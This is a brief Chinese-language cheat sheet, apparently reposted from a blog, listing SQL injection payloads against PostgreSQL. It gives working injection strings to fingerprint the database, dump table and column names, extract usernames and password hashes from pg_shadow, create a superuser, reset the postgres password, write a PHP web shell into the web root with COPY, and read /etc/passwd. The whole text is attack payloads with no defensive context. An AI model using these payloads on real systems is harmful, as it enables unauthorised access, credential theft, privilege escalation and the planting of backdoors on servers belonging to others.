标签:har lte l数据库 用户密码 char oracle use database 获得
Postgresql是一款中小型数据库,经常与PHP一起使用。
+and+1::int=1-
返回正常即为Postgresql数据库
+and+1=cast(version() as int)-
and 1=cast(user||123 as int)
order by
用法和oracle相似
union select null,version(),null
union select null,current_schema(),null
union select null,current_database(),null
union select null,relname,null from pg_stat_user_tables
union select null,column_name,null from information_schema.columns where table_name='表名'
union select null,usename|char(124)|passwd,null from pg_shadow
||连接字符串
char(124)为|
获得结果例子:admin|password
;create user test with superuser password 'test'--
;alter user postgres with password 'pass'
依次执行如下三个命令
;create table shell(shell text not null);
;insert into shell values(一句话木马);
;copy shell(shell) to '/www/shell.php';
这样就会将一句话木马写到,www目录下的shell.php文件中
;copy (select '一句话木马') to '/www/shell/php';
pg_read_file('/etc/passwd',1,20) #读文件前20行
标签:har lte l数据库 用户密码 char oracle use database 获得
原文地址:https://www.cnblogs.com/Wuser/p/12326629.html